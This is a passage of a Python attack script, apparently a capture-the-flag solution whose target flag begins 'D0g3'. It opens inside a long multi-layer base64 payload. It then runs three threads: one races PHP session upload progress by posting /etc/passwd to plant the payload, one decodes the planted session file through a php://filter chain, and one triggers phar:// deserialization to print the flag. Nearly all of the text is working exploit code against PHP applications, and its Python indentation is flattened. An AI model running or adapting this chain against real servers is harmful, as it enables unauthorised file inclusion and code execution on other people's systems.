VUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWZUZCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVkVGQlVRWGRRVkZGNVVGUkJkMUJVWTNkUVZFRjNVRlJqTUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJOZDFCVVFYZFFWRlpDVUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVZrSlFWRUYzVUZSVk0xQlVRWGRRVkUxM1VGUkJkMUJVV2tkUVZFRjNVRlJTUWxCVVFYZFFWR00xVUZSQmQxQlVUVFZRVkVGM1VGUmpOVkJVUVhkUVZGWkNVRlJCZDFCVVZUTlFWRUYzVUZSUk1sQlVRWGRRVkZwRFVGUkJkMUJVVmtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVVrUlFWRUYzVUZSYVJsQlVRWGRRVkZWNVVGUkJkMUJVVFRCUVZFRjNVRlJaTUZCVVFYZFFWRkY0VUZSQmQxQlVWWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk5GQlVRWGRRVkZWNVVGUkJkMUJVV2tSUVZFRjNVRlJaZWxCVVFYZFFWRTE2VUZSQmQxQlVWWGxRVkVGM1VGUlNRbEJVUVhkUVZGVjVVRlJCZDFCVVVrZFFWRUYzVUZSTmQxQlVRWGRRVkdNeVVGUkJkMUJVVlRWUVZFRjNVRlJqTVZCVVFYZFFWRkpEVUZSQmQxQlVUVEZRVkVGM1VGUk5NVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVRSUVZFRjNVRlJWZUZCVVFYZFFWRnBEVUZSQmQxQlVXVEpRVkVGM1VGUk5OVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZrd1VGUkJkMUJVVlRSUVZFRjNVRlJSZVZCVVFYZFFWR013VUZSQmQxQlVXa1pRVkVGM1VGUlJlVkJUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJqTkZCVVFYZFFWRXBEVUZSQmQxQlVXVEpRVkVGM1VGUk5OVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZWNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk5GQlVRWGRRVkZWNVVGUkJkMUJVV2tSUVZFRjNVRlJaZWxCVVFYZFFWRTE2VUZSQmQxQlVWWGxRVkVGM1VGUlNRbEJVUVhkUVZGVjVVRlJCZDFCVVVrZFFWRUYzVUZSTmQxQlVRWGRRVkdNeVVGUkJkMUJVVlRWUVZFRjNVRlJqTVZCVVFYZFFWRkpEVUZSQmQxQlVUVEZRVkVGM1VGUk5NVkJVUVhkUVZGSkNVRlJCZDFCVVRYcFFWRUYzVUZSV1FsQlVRWGRRVkdONVVGUkJkMUJVU2tOUVZFRjNVRlJSTkZCVVFYZFFWR04zVUZSQmQxQlVUVEJRVkVGM1VGUk5NMUJ
'''

# 请求主机
response = requests.get(HOST, headers=headers)
cookies = response.cookies

# 线程1:向服务器发送文件,执行溢出
def runner1():
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload
}
print("Exploding...")
while True:
with open('/etc/passwd', 'rb') as fp:
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)

# 线程2:读取并解码文件
def runner2():
file = f'/tmp/sess_{sess_name}'
filename = f'php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource={file}'
while True:
url = f'{HOST}?filename={filename}'
r = requests.get(url, cookies=cookies)
c = r.content

# 线程3:使用PHAR协议读取文件并检查特定内容
def runner3():
filename = 'phar:///tmp/tmp.tmp/test.txt'
while True:
url = f'{HOST}?filename={filename}'
r = requests.get(url, cookies=cookies)
content = r.text

if "D0g3" in content:
start_index = content.index("D0g3")
output = content[start_index:]
print(output)
sys.exit(0)

# 启动线程
threads = []
t1 = Thread(target=runner1)
t2 = Thread(target=runner2)
t3 = Thread(target=runner3)

threads.extend([t1, t2, t3])

t1.start()
t2.start()
t3.start()

# 等待所有线程完成
for t in threads:
t.join()